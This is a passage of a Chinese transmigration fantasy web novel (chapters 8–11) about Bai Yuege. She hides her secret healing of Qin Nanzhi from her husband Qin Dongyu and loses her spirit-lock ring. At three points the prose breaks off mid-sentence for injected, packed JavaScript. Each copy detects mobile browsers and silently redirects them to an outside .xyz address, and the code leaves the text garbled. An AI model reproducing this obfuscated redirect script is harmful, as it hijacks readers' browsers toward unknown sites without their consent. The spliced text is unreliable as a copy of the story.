“我一看就知道,您昨晚又偷偷通宵赶工制药去了。”
白厢熟练地用热水浸透的棉帕为白月歌擦拭头上脏污,血痂溶解,在棉帕上留下了醒目的红。
但即使看出那是血迹,她也只是放轻了手上擦拭的动作。
“兽血里也有瘴气,您一沾上就该清理掉的。”
白月歌安静地任她摆置。
“女郎,那些药您就放手交给底下的人去做,您辛苦配出来的药送到那些伤兵的手里,谁会信这是尊贵的家主夫人亲手制成的?”
“那些兵油子将药用完了,想必还会骂您一句沽名钓誉——我们又不是没见过!”
白月歌知道她误会了,但这这种情况下只能端着架子,一语不发。
白荣过来的时候,看到的便是自家女郎一脸困倦,却还端坐着听白厢说教。
白荣觉得有必要说点什么。
“行了白厢,女郎困了,你不如去沏个茶给她提提神。”
白厢没动静。
“女郎不许我靠近她的茶具,忘了?”
一提到昨晚那杯茶。
白厢嚯的起身:“肯定是你昨晚沏的茶太浓,女郎喝了睡不着,这才通宵制药去了!”
“?”
白月歌一瞬间好像看到了白荣头顶冒出了有如实质的怨气。
8. 等我到很晚吗
白月歌昨晚彻夜未归,虽让把身边的两个侍从搪塞了过去,但霖辉堂那边她总不能一直不回。
回到霖辉堂时,秦东羽正穿着薄衫,在院子里挥着重剑闷头乱舞。
看时间,比往日练剑早了不只半个时辰。
秦东羽手里那柄重剑并没开刃,且故意制得比他往常用的佩剑更重,用作每日晨练。
相比秦南徴的斩马陌刀,重剑更浑厚朴实,招式大开大合,仅是转身劈砍,重剑起落间的打击感和力量感,都被秦东羽发挥到了极致。
重剑门槛高,仅是剑的重量,就已将许多人拒之门外,在妖兽横行的神图大陆,使用重型刀剑的秦氏兄弟是极少数,更是战力天花板。
檐上树梢的落雪被剑气掀起,又在剑招变换时簌簌落下。
白月歌贴着墙边走,将自己的存在感降了又降。
秦东羽自白月歌的身影出现在院门时,就已经发现了她。
自此剑招不再发泄般地将雪扬得漫天都是——那只会挡住他探寻妻子的视线。
秦东羽没想到,那个总会写信问归期的妻子,只言片语也不留,就彻夜不归。
所以他不在的日子,究竟发生了什么?
秦东羽的余光里,彻夜未归的妻子眼下带着淡淡的青黑,面颊和唇瓣也苍白得厉害,像是病了。
那一瞬间,他对白月歌探究的心就淡了大半。
但白月歌眼下青黑是因为熬了一晚,面色苍白则是服用换骨洗髓散的副作用,她本人此时健康得能连翻二十面墙。
她在回廊缓慢挪动步子,忍不住去看庭院中那人的动作。
重剑这种力量与美的结合,总是有很高的观赏性。
但少了洋洋洒洒的飞雪,便没了刚开始的视觉冲击,眼皮有些打架的她,就收了目光加快步子离开。
可庭院中的人余光察觉到她刚一来就要走,剑招猛然收敛。
他撑着重剑,腰身一摆,就跃入了白月歌所在的那方回廊。
当啷一声,方才还被握在手里的重剑,就被丢在了地上。
重物坠地的声音极大,像是那柄剑就砸在了自己脚边,白月歌被激得转身,直直撞上了瞬间栖身而来的秦东羽。
两人间的距离瞬息拉近,呼吸可闻。
她甚至能看到这人颈侧汗水流过被燃起的重明鸟,被蒸腾出的丝丝白雾。
白月歌偏头避让的动作,显然让她看起来带着几分心虚。
“你昨夜没回来。”
她还没拿出早在路上就已想好的措辞,对面的男人便替她寻好了借口。
“宿在了春晖药堂?”
白月歌垂首默认,如以往一样。
秦东羽看着臻首玉颈的妻子,不自觉润了润发干的嘴唇。
白月歌越是心虚,就越是温柔:“昨夜等我到很晚吗?”
“不……”
有了刚才被他抢先发问,拿了主动权的一幕,她这次将话说得极快,根本不给秦东羽说完的机会。
“如果下次再这样,我会让人给您传话的——抱歉了夫君。”她不着痕迹地向后退了些许。
但秦东羽却没有放她走的迹象,男人高大的身躯挡住了她的路。
“你去哪?”
白月歌看向居室。
她需要休息。
“先来练箭。”秦东羽引着她往霖辉堂后面的小靶场去,“你那把弓修不好了,要去适应别的弓。”
白月歌想起半月前,那把被她拉断的弓。
当时她正在龙崖外的善堂带人行义诊,附近却闯入一只被瘴气侵染了的白鹭,那鸟体型暴涨,发狂摧毁了不少的房屋。
自从藤桥洞和陀山道出事,秦氏的族卫人手就变得紧张,跟随着来到善堂的族卫中,根本没有强大的战士或灵君,能来为她争取给白鹭驱散瘴气的机会——
眼见那只白鹭冲着她所在的善堂盘旋,寻找机会吞食新鲜血肉,她情急之下拉弓将其射杀。
那是她第一次用从原身那里继承来的射箭技能,加之当时情况危机,她将所有灵印的力量都使在了弓上。
虽然发狂的白鹭被成功射杀,但那把为她量身特制的弓,因为过载了太强的力量,当场断掉,残骸被安排送到峪清王氏去修——后来这中间的事情太多,她没来得及将事情记到剧情备忘录上,就把修弓这事彻底忘了。
但秦东羽居然还记着。
“陀山道那边也出了事,时不时就有异化成妖兽的飞禽在龙崖出没。”
陀山道是龙崖秦氏和化平崔氏接壤的重要地带。
陀山道水草丰美,大批禽类栖居此地,为防这些飞禽被瘴气侵染,发狂化为妖兽,白月歌祖上那位初代灵君和崔氏的初代灵君,联手在陀山道设下了净化瘴气的阵法。
距今已有百年,大概是年代久了,近些日子出了问题,令大批飞禽被瘴气侵染化妖。
白月歌每日在霖辉堂协理龙崖秦氏的诸多事宜,的确知道陀山道飞禽化妖的事。
“上次你就在善堂遇上了,今后那种情况只会更多。”
射杀白鹭的日子和陀山道阵法出问题的时间恰巧吻合,那只白鹭保不准就是从陀山道飞过来的,但秦东羽为什么突然提起这事……
正当她以为秦东羽是要让她引以为戒,好好替他外出守住龙崖时,秦东羽泛着冷意的眸子瞥向了靶场的弓。
“再让峪清王氏赶制把一模一样的弓出来,不知要用多久,你不如趁现在磨合出一把顺手的弓。”
“……”
白天当牛马协理龙崖的鸡零狗碎就算了,以后难道每日都得天一亮,就得到靶场拉练么?
白月歌敢怒不敢言,大抵是怒火中烧的缘故,换骨洗髓散的副作用又厉害起来,她没忍住,又是一阵剧烈咳嗽。
秦东羽没等她咳嗽完又道:“族卫大半都被联兵带去了陀山道——不日我也要动身去藤桥洞,顾不上你这边
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|15051202|162837||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
的许多事。”
所以说了这么多,就是嫌她失去了特制的弓箭,会成为兽潮中的累赘吧……
白月歌想起原身和女主林软软同样,都是幽崤出身,是在木灵印武力值不足在兽潮中保护自身的情况下,应幽崤白氏的族规,被训练成弓箭手的灵君。
这种族规,说白了就是兽潮时,怕战士顾不上保护辅助型的木属性奶妈,就上黑科技让奶妈强行增加一点攻击属性来自保。
所以原身和女主两个人都是用弓的辅助型奶妈,但女主林软软在男主这的待遇,比原身好了不只一星半点。
白月歌还记得有关林软软用弓箭的剧情。
男主见她的弓已经很破了也没钱去换,便上了心,为她遍寻各种稀世材料,甚至挪用了妻子制新弓的材料,就为了让峪清王氏的人快马加鞭,为她专门打造一把能在兽潮时自保的弓。
到了原配妻子这,男主这孙子就冷着脸,让她自己想办法再磨合一把新弓。
很双标——
白月歌叹气,但她又不能把这种无语溢于言表。只能守住贤妻人设,将苍白的唇角扬得起,温顺地替男主擦去颈侧的汗。
“弓箭从小就练。”没伺候过人,白月歌的动作不够熟练。
没留神间,手帕从掌心滑落到袖侧,她掌心的金线忍冬伴生印,无意间触碰到了他颈边光华涌动的重明鸟尾羽。
“几日没碰而已——”
白月歌没来得及收回的小指,顿时被伴生印的尾羽烫到。
慌乱撤回间,秦东羽面对她的呼吸变得焦急热烫——似乎也被她近乎挑弄的行为和话语影响到了。
【请宿主修正,修正!】
白月歌在系统警告响起来时,才发现她戴在手上的锁灵戒不见了!
锁灵戒这玩意,是个很重要的道具,功能类似于贞洁锁(bushi
木灵印,作为唯一能治愈和驱散瘴气的灵印种类,灵君的伴生印必须贴合在对方的伴生印上,通过印记的接触引起共鸣,来达到驱散治愈的效果。
而木、火两属性的灵印共鸣,会使人陷入到一种……被小说描述得像是在搞黄色的感觉里,所以木灵印的灵君,和有节操的火属性灵君都会带着锁灵戒,来避免尴尬。
她那么大一个戒指呢——昨晚和秦南徵灵印共鸣的时候还在!
白月歌趁还有意识前,猛然抽回被烫到的手。
是脱夜行衣的时候落在了春晖药堂?还是翻墙的时候……
走神的功夫,白月歌的手又被人重重按在了滚烫的尾羽上。
“唔——”
“呼……”
秦东羽本该带着锁灵戒的手指,此时空空如也。
她因为昨晚上的鸡飞狗跳,不慎丢失锁灵戒合情合理。
小说里连在洗澡时,都要带着锁灵戒这种贞洁锁的自律男主,只在和林软软一起才会意外遗失锁灵戒的禁欲系男主——
你戒指呢!
9. 关系的消亡
很快,白月歌僵硬的身体,就涌上一股让她差点软倒在地的热浪。
烧得她只想扑进身旁那团滚烫的火焰,在重明鸟尾羽的捆缚下,燃尽自己这株柔韧的金线忍冬。
【警告警告!】
直到她咬着舌尖,在剧痛中重新找回自我,用力推开了同样陷入本能的秦东羽,那种像被下了降头的怪异自毁倾向才如潮退般消失。
白月歌原本苍白的脸庞上更显病态,寒风一吹,她又没忍住,重重咳嗽起来。
秦东羽被挣脱的手停在半空,好一会儿才收了回去。
只是他那粗重的呼吸声,在白月歌听来,像是身旁守了只随时会扑上来吞吃掉自己的猛兽。
系统的警告已经停止。
“那箭练了多少年,不会生疏的,”她背过对面的男人,“更何况有你在,能有什么事?”
不同于秦南徵,秦东羽的眉眼如刻刀在冰上雕凿而出,带着不同于自己火灵印的冰冷。
他不说话时只盯着自己的时候,白月歌总会有一种秘密被看穿的紧张感。
现在又是这样,秦东羽的视线牢牢锁定在她,额头青筋隐现,不知在思考她的话,还是陷入了对她没戴锁灵戒的不满。
就在白月歌想以身体不适遁走时,却听到他开口:
“此次归家已有月余。不久后我又要带兵动身去藤桥洞,族卫会被带走大半。”
刚才那场擦枪走火的共鸣,让他冷白色的肌肤上透出隐约的桃粉。
白月歌又听到他在重复刚才的话题。
“屯兵所不像龙崖,若有意外,你手里没有磨合过的弓怎能行?”
本以为自己还得费尽心思跟他再提藤桥洞的事,顺势引导着让他将自己带上,没想到秦东羽自己又提起了这地方,话中还有着要带她一起去的意思。
事情的转机来地莫名其妙。
白月歌很不想再碰弓箭——上次那只白鹭在距离她只有一臂的距离被射杀,血溅了她满头满脸。
那一幕让她连续很多天看到赤红色的东西后,都有种反胃的感觉。
但为了剧情,认命拿起一旁的弓。
振臂一拉,弓纹丝未动,换一把再拉,同样的力道下,新弓却应声而断。
“……”
她再要去换,就见秦东羽从一旁抽出一把递了过来。
峪清王氏制成的木傀靶子,在靶场上飘忽不定。
这次白月歌在臂膀和手指上灌注力量时就有了些经验,灵印的力量一点点释放,终于在这把弓上找到了一些熟悉的感觉。
手指哒得松开,箭飞出去,却被木傀靶子轻松躲过。
秦东羽的手按在了白月歌肩上,引导她将箭尖瞄向木傀。
箭矢正中木傀眉心。
“妖兽可没空等你磨合新弓。”秦东羽撒开手,负手站在她身后。
“……”
白月歌绞尽脑汁,也没想起女配在小说哪一段展现过高超箭术,再接下来的时间里,练得很是潦草。
系统也没对她这样的行为提出警告。
秦东羽的脸色越来越黑。
白月歌一看,更不上心了。
他原本就是要讨厌上自己,转头和女主好上——一个不上进又懒惰的人,出现在一段需要维系感情的婚姻里,只会加速这段关系的消亡。
这对她来说,是经验之谈。
之后只要秦东羽想开口说话,白月歌就捧着心口咳得直不起腰,让他憋回去。
果然接下来几天,秦东羽都没再提让她来靶场的事。
白月歌顺势继续装病,借口咳嗽得太厉害,和秦东羽同住,会打扰他休息,一到晚上就回春晖药堂。
但那被她怀疑落在了春晖药堂的锁灵戒,让白月歌焦头烂额了三天也没找到,只能再悄悄找一个戴上。
但白荣和白厢,貌似真的以为她病了,一直在炖煮各种汤水药膳来给她温补。
补了三五日,眼见镜子里的脸都圆了一圈——白月歌深刻怀疑那些东西里有猪饲料。
她想起床底下那堪堪能塞下自己的夜行衣……
再喝下去,她就得加一倍的换骨洗髓散,到时候副作用也会来的更厉害。
今夜,白厢在她睡下前又端上了一碗温补的汤药。
白月歌装模作样地喝上两口后,就找借口说自己想吃口甜的,把白厢支开,趁她没在,把药偷偷倒在自己备好的药蛊里。
碗空了,白厢也带着甜汤回来了,她在白月歌期待的目光中,一脸欣慰的端着空碗告退。
春晖药堂的烛火一盏盏熄灭,略显清净的药堂此时更加寂静。
月上中天,白月歌早先服下的换骨洗髓散起了药效,身体缩水,成了个瘦小的少女。
拎着药蛊和一些能给秦南徴用上的药,白月歌熟练地躲过巡夜的族卫,又到了泽鹿苑最好翻的那面墙。
正听到里面有些鬼鬼祟祟的动静
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|15051203|162837||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
,她躲在连廊底下,就看见一个和她同样装扮的人,从那面墙里笨手笨脚地翻了出来。
身上不知什么硬物掉在了地上。
在寂静的夜里——
重物坠地的声音立刻引来了泽鹿苑外头守着的族卫,那翻墙的笨蛋背起地上的小木匣一溜烟跑了。
正是白月歌先前来的方向,那里是族卫很少去的地方。
一般人根本不会注意到。这背药匣子的笨蛋,估计就是二堂伯给秦南徴找来疗伤的。
闻声而来的两个族卫,还是上次守在泽鹿苑外头,一起八卦藤桥洞的两人。
一东一西在这里盘桓了很久,眼见就要搜寻到白月歌藏身的连廊之下,她咪咪喵喵地叫了两声——
“是个猫。”
“别找了,费这么大劲干嘛呢!”
“上头不是说了让操点心么?”
“你还看出不来啊?咱哥俩被排挤了,才被弄到泽鹿苑的!不然为啥不让咱们去灵君冢,也不让去陀山道?”
“走了走了,别操心了,出不了事儿……”
摆烂的那个,勾着死心眼的肩,嘟嘟囔囔走远了。
白月歌又咪咪喵喵了两声,把戏做全,才放心地翻过了墙。
她落地刚站起身,就被人从身后死死捂住了口鼻。
“唔!”
带着茧子的手刺得她脸上生疼,但上面传来的药味让她猜到了他是谁。
秦南徴闪身将她带进了树影之中。
“嘘——”
白月歌看到他的瞳孔又变成了黑金色,顺着他的视线看去,正是她刚翻过的墙头。
隔墙之外,那两个族卫的脚步声去而复返。
“你确定?”
“我看到了人影——但影子动得太快,我不知道是不是看错了。”
“不过使了个诈来探探真假,没寻到,说明的确是猫。”
“宁可错杀不可放过,不放心就再去里面看看,走!”
白月歌心有余悸,身前少年的瞳孔亮着金褐色的光。
被像兽类一样的眼睛盯着,白月歌又被捂着嘴说不出话,只能抬抬手把药蛊举起来,表明自己的来意。
少年稍稍松开钳制,带着她闪身进到居室内,赶在了那两个要进泽鹿苑巡查的族卫之前。
白月歌咬咬牙,在秦南徵诧异的目光中,熟练地钻到了床底下。
不过一眨眼的功夫,那两个族卫就推门而入。
10. 脾气差的印灵
黑暗中,秦南徵金褐色的瞳孔如鸟类一般,似乎有覆膜闭合又打开,极为怪异的一幕让那两个闯入的族卫脚下一顿。
但接着,两人就想到了些什么,随即大摇大摆地屋里翻看,叮叮咣咣将这里的摆设翻动地尽数倒地——唯独没敢打秦南徵床榻的主意。
白月歌躲在床底,能听到少年在床榻上越来越压抑的粗重呼吸,正当她以为秦南徵会忍不住对闯入者动手时,那两人的鞋就出现在床底的缝隙前。
“小郎君,冒犯了!”
白月歌没听到秦南徵有任何反抗,头顶上不知发生了什么,发出了两声巨响——但不论如何,秦南徵应当不会卖了自己。
她屏住呼吸将瘦小的身体又往角落里缩了缩。
好在那两个族卫似乎对秦南徵终于失去了兴趣,将长枪伸入床底下横扫狠戳。
动作粗暴,带着几分不耐烦。即便是这样,白月歌的手臂也被枪杆打中数次,钝痛让她止不住的颤抖,但又不能发出一丝声音。
大概是这床底的缝隙的确不像是能藏个大人的样子,白月歌的隐忍让那两个族卫毫无收获,她听到他们骂了句草……
不知过了多久。
头顶上躺着的人终于确定这两人不会再来,沉声让她出来。
白月歌这才敢贴着地一点点从床下爬出来,动作活像个乌龟。但身为医者,她敏锐的捕捉到了浓重的血腥味。
可翻墙时,秦南徵身上明明才被好好医治过。
她不解地抬头,正撞上秦南徵在黑夜里闪动着金褐色辉光的瞳孔。
与秦东羽那好似能将她看穿的锐利目光不同,他戒备的眼神更像是一只带了伤的小兽。
“前几日我睡着时,也是你吧?”
听到这话的白月歌有些局促,手不自觉抚在疼痛的小臂上,末了又拍了拍上面沾到的灰。
联想起她第一次钻床底的经历,和刚刚在她前面翻墙离开的医者——秦南徵的戒备心比她想象中要强。
她再不敢迟疑,立刻点了点头。
“你医术似乎比哑奴的更好。”
哑奴?在她之前翻墙离开的人?
白月歌的确对这名字有印象。
怪不得她方才看那道身影时感觉有些熟悉。
白鹭暴动那次,哑奴曾随她一同去善堂出义诊,因为他口不能言,总被那些兵油子欺负,白厢这姑娘一直跟在他身边替他出头。
白月歌却不敢顺着少年的话继续说下去,说得越多,就越容易露马脚。
她继续卖力地扮演着一个心有余悸的下属:“为您疗伤这样秘密的事情,属下们只敢悄悄的——况且,哑奴不能讲话,我们也不曾私下议论。”
说完,白月歌发现秦南徵的面色有些古怪,但又不像是怀疑的样子。
而系统总是在她和秦南徵单独相处时消失,不存在OOC警告这一说。
所以,不知不觉得,白月歌在他面前说话,就比别的时候更大胆。
“我曾受过您伯父的恩惠,这才甘愿被卷进来——我这样无足轻重的人,虽命比纸薄,但也想好好活下去。”
“请小郎君不要再旁敲侧击,来探我的口风。”
秦南徵露出了然的神色,浑身的戒备松懈了不少。
白月歌知道自己这一关算是稳了。
“想必那两人将没找到我的气都撒在了您身上,我这就为您医治。”白月歌说着,将脚边的被闯入者踢翻的炭盆复燃,凉透了的药蛊被她一摆上去,就发出水汽被蒸发的嘶嘶声。
暗淡的火光稍稍照亮了床榻前这一小片。
刚刚黑灯瞎火,她只闻到了浓重的血味,此时借着炭盆的光,她才发现秦南徵手臂和腰腹的衣裳被血水染红了大片。
秦南徵将衣裳掀开,大大方方给白月歌展示自己新旧伤痕遍布的身体。
“……”
那两个族卫恐怕是下了死手,添上的新伤血肉翻涌狰狞,需要尽快处理。
可白月歌那只带有灵印的手刚伸出,又迅速收回。
不能这样,她的灵印会被发现。
作为本文草根出身女主的对照组女配,白月歌不仅出身高,掌心附生的金线忍冬,被描述成了唯二稀有的灵印。
只要金线忍冬灵印一亮出来,别人就知道她是幽崤白氏的女郎。
不知秦南徵是否被她抽回手的动作刺激到了什么,白月歌看到他颈侧的重明鸟头埋进了翅膀之下,身上的羽毛一抖一抖。
而他本人则将大开的衣衫向上拢了拢。
眼见衣衫就要盖住他腰肢上的图案,白月歌情急之下捉住了他的手:“小郎君不可。”
另一只手则抚在他腰上:“请背过去——”
秦南徵的背部两侧的肌肉猛然抖动膨胀,随后紧绷起来,让白月歌不好意思下手去摸腰肢上的绿色图案。
秦南徵紧绷了一瞬,但还是顺从地背过身子。
白月歌见此不敢耽误时间,手下加快速度,将那些新添的伤口处理了七七八八,终于忍不住再次去抚摸腰肢上闪动微光的的绿阿晋。
【草!!!!不是双洁为什么不在文案避雷!男主非C,男配C,这作者到底会不会写?】
【今日彩蛋触发[1/1]已完成。】
“……”
白月歌两眼一黑,下手的动作不自觉得加重了。
CCC,让你就知道双C!现在被扔进书里,好受了吧!
直到床上少年翻过身,紧实漂亮的腹部肌理弹动了一下,白月歌才惊觉自己的行为和医者该有的样子有些相悖,让秦南徵背后才被处理的好的伤口,又因皮肉牵动冒出了汩汩黑血。
不祥的颜色让人一看就知道是中了毒。
她用手沾了些血迹放在鼻尖嗅,总觉得味道有些熟悉,她在女配的记忆里大海捞针,想找出些头绪,却再次错过了秦南徵面上一闪而逝的别扭。
“真的很吓人吗?”
白月歌想得投入,没过脑子就嗯了一声,将手上的血抹在棉布手帕上,又取了些黑色的血,打算带回去再详细研究——她发现很多细节书中似乎没有提到,譬如秦南徵中毒。
“知道自己中了毒吗?”
秦南徵一怔,似乎惊讶于她的发现。
“知道一点。”他指了指颈侧附生的重明鸟:“它最近一直呆呆傻傻的。”
重明鸟还是把头埋在翅膀里,像个狗子似的趴着,和秦东羽颈侧那只雄赳赳气昂昂的成年重明鸟相比,白月歌认为这一只的确呆得很有特色。
她用手指戳戳那只鸟,鸟把头伸出来忿忿地冲她张开喙,嘤嘤大叫,也不知道是什么意思,所以还得问当事人。
“有什么感觉?”
“……”秦南徵的声音卡在喉头,带着隐忍的痛苦。
“很疼?”
他长长的羽睫垂落,投下一小片阴影,他用手指堵住了重明鸟嘤嘤大叫,闷声回答:“不。”
“痛了我会说的。”
这个年龄段的青少年多少都带点Strong属性,白月歌能理解。
感觉问不出什么有用的消息,再问下去只会耽误她回去早点睡觉。
时间紧迫,下手摆弄秦南徵的动作有些粗糙,白月歌
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|15051204|162837||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
将他的脑袋脸朝下摆正。
末了还是觉得不妥当,再三确认秦南徵视线的角度,她又按了下手下之人的脑袋,保证接下来两人灵印共鸣时,他看不到自己掌心的金线忍冬。
秦南徵被她摆弄得似乎很不舒服,抗拒地偏了偏脑袋,弄歪了她好不容易卡出来的视角。
“啧——”白月歌觉得医患关系差可能真的怪不了大夫。
“再动下去耽误疗伤,你会变得跟那傻鸟一样呆——”
“我可没骗你,因为灵印出了毛病,变成傻子的可不少。”
她的语气很像医院里教育犟种的白大褂。
然后她就瞥见重明鸟头顶那漂亮的羽毛支楞了起来,一看就是不服气。
越是这样,白月歌就越是用力按住秦南徵偏过去的脑袋,带有忍冬灵印的手迅速擒住颈间那只不服气的重明鸟,掐断了它对自己的灵印感知,让灵印共鸣成了她单方面进入秦南徵灵印构成的领域。
不共鸣,才能避免对方在共鸣时反向探查出她的灵印。
明明是她掌控节奏,进入对方的灵印领域,可实际上两人一接触,白月歌就像是被强行拖入了一个由火构成的世界。
岩浆所过之处,皆化作熔岩。
先前还不服气的重明鸟,在灵印领域里却恹恹地趴伏在一段雷击木上,拖在身后的长尾在岩浆中挑弄起火液,想让飞溅的火液融解周身化不开的黑色毒雾。
它看到白月歌的灵体过来,想要戒备一二,却虚弱到根本爬不起来。
白月歌前行而至,所过之处的毒雾被尽数驱散,重明鸟渐渐不再抵抗她的靠近。
毒中得很深,毒雾被驱散后又卷土重来,她反反复复替它净化了不知多少次,终于有了些许起色。
在灵印领域中的时间看似过了很久,其实也只是短短数息。
白月歌的前襟就被心口渗出的汗水打湿。
就像是精神和力气被一同迅速抽走,秦南徵被接入灵印领域后,逐渐失去理智,双手握住她的手腕,不舍断开,痴缠着她想索取更多。
在感到快要脱力失控前,她终于积攒起最后的力气,一掌推开。
白月歌整个上半身伏在床边,大喘了几口气才缓过劲。
哪怕是现在,她也依旧将掌心缩在衣袖里——所幸灵印催生在掌心的木灵君在龙崖不在少数,她并非唯一。
而被迫割断领域连通的少年,在最初的不满后,立即清醒,松开了对她的桎梏。
秦南徵似乎终于意识到她刚才对他凌虐般的行为,并非是因为什么别的缘故,仅仅是不愿将灵印和身份泄露。
白月歌瞥见他金褐色眸子中的火焰黯淡了下去——秦南徵收回了他夜能视物的能力,伤口虽然止住了血,但人看起来有些蔫。
他颈间那只重明鸟看着白月歌的眼神黏糊糊的,她分明听到这鸟在冲她嘤嘤叫,尾巴摇来摇去,焦急得就好像她手里拿了什么很香的肉。
而它在祈求能吃上一口,像只讨肉吃的大狗。
?
她记得书里秦南徵这只鸟的性格很mean,平等的鄙视所有人,甚至会在结成印灵实体后,在战场上朝别人的印灵吐口水。
哪怕是林软软的印灵,也被它吐过口,当然,被吐完的林软软立刻跑去找秦东羽相同的重名鸟印灵求抚慰了……
所以这只印灵性格恶劣,跟讨肉吃的可爱狗狗一点不沾边。
白月歌将手很自然的藏到身后,背着胳膊在秦南徵床前左右踱步:“今天就先这样吧。”
“炭盆上热了药,你先恢复着,过几日我再来给你清余毒。”
11. 过分向下的自由
第二日天还黑着,白月歌就被手臂上的剧痛折磨得睡意减半,等到她迷迷糊糊想起那枚遗失的锁灵戒时,更是抓心挠肺的睡不着。
那枚锁灵戒很可能就落在秦南徵的床下,但她今晚错过了寻找的机会。
当时,她躲在床下,正伸出手臂摸向犄角旮旯时,差点被泽鹿苑那两个族卫扎向床底的长□□穿手掌,好容易躲过了族卫,她一紧张就把这事抛在了脑后……
窗外的簌簌落雪声在寂静的夜晚被放大数倍,让她难以镇定,手臂被长枪击打的尖锐痛感也变得难以忽视。
昨晚提心吊胆的时候不觉得怎样,此时竟然痛到有些抬不起手。
白月歌摸黑刚点了灯,给自己用灵印缓解疼痛,就听见门外有脚步声,一抬头就见门窗上出现了一个提着灯走来的影子。
看样子是白厢。
这姑娘一向起得早,人又机警,大概是见她房屋内提前亮了灯,这才赶紧过来看看。
那姑娘推门进来时,白月歌正要用被褥盖住手腕,疼痛让她的动作有一丝不顺畅。
可这一瞬的异样也被白厢捕捉到,这姑娘快步走到床边跪坐在她身前。
白月歌只能放下所有掩饰,一派无奈之色,让白厢掀开了自己盖在手臂上的褥子。
窗外却又划过一道闪电,将屋子里照的亮如白昼。
白月歌雪白手臂上被长枪重击留下的瘀痕更是无所遁形。
随后就是一声引得人心脏共振的惊雷,白月歌眼前一片眩晕,被震得重重咳嗽。
这雷比火液烧棺那天的更邪性。
外头的风雪迅疾而至,窗扇被吹得哐哐作响。
“怎么又起风了。”白厢说着,将灯台一一燃起,又拾了些炭添进了炭盆,室内比方才更暖了几分。
白月歌复又低头去看自己的手臂。
雪白肌肤上遍布数道又直又长的瘀痕,青黑深紫晕成一片,看起来狰狞吓人。
痕迹太明显了,一看就是被什么棍类武械重创留下的。
“怎么会受这样重的伤?”白厢的手指几乎不敢触碰到她,“是谁?”
白月歌摇摇头:“哪有人敢对我做这种事……”
白厢愣住,似乎意识到自己想岔了,白月歌看着少女蹙眉,低头用冰凉的手帕为自己消肿。
白厢的确是个凡事都维护自己的侍从。事实上“白月歌”同她在情感上更像是亲友,白月歌一直都明白。
但一想到白厢这一腔情谊所托付的对象另有其人,而自己却顶替了真正的女配。
再一想到白厢的既定结局,白月歌觉得手臂也没那么疼了。
“其实不怎么疼的,只是看起来吓人。”
“你不用太担心,”
“您说什么呢——”
“如果是为了试药,我宁愿您在我身上试。”白厢总听白荣抱怨自己是个死心眼,但她有时候觉得自家女郎比自己更甚。
“我知道女郎恨死了那些花钱撺掇菜人试药的灵君——但这不一样,我不是菜人,我是自愿的!”
“我们出身幽崤,对用菜人不耻,但在龙崖,没人信您这份好心,反而背后说您吝啬。上次在善堂,就有人说这些话,说您表面上是来善堂义诊,其实背地里是用这里的人试药,省了买菜人的钱。”
雇佣活人试药,白月歌当然知道这部分剧情。
妖兽肆虐,除了灵印觉醒的灵君,没能觉醒的人都命比菜贱,不少木灵君都选择花点钱让他们人心甘情愿被试药、练手,借此来提升自己的能力。
贫民逐渐将试药当成了一种营生,而做这种营生的人被称作菜人。
当用活人试药、练手被明码标价,甘愿出卖自己的菜人就被物化成了一种世市面上的通货。
更有一些灵君为了省钱,会共同包养一个菜人来试药练手。
有很多灵君甚至自诩花钱找菜人试药是一种善举,认为他们给了穷人一条赚钱活命的路。
但白月歌认为这跟善良不沾一点边。
弱势群体要靠出卖身体才能获取生存资料的现象,应该被称为剥削才对吧?
而在小说里,这种包养菜人试药的歪风邪气一直被人推崇,但幽崤白氏却极有远见,从十年前,就开始禁止菜人的交易——
并倒逼买卖菜人的豪强掮客吐出了大量钱粮土地,用于安置菜人。
禁令推行之初十分困难,如同牲畜一样被圈养得不知荣辱的菜人,习惯了躺平被奴役,不理解幽崤的家主为什么断了他们试药的生路,强制他们耕作新地。
那批被严重洗脑的菜人怨恨白氏家主断了他们来钱最容易的路,被掮客豪强一挑唆,便联合起来发起了一场不小的暴动,意在刺杀幽崤家主,白月歌的父亲。
女主林软软的父母就是参与暴动和刺杀的菜人,且在失败后双双死去。
之后,年幼的林软软就被送到了白氏专门安置孤儿的善堂。
而林软软,将失去父母的账都记在了幽崤白氏的身上。
除此之外,前半部小说里,林软软一直致力于让幽崤恢复菜人的试药交易,美其名曰,即便是贱民,也有使用自己身体赚取金钱的自由。
这种绝对的自由在白月歌看来非常胡扯。
过分向下的自由只会带来毁灭。
所以她才在评论区狂骂女主和作者——可以说她追完这本小说,就是为了看看这文的屁股能歪成什么样子。
“嘶——”
手臂上的痛楚让白月歌收了收飘得太远的思绪。
她让白厢运用灵印给自己止痛。
白厢却说:“女郎,答应我以后不许对自己下这么狠的手……您这次要试在自己身上的药在哪?”
“打都打了,也不能白试。”
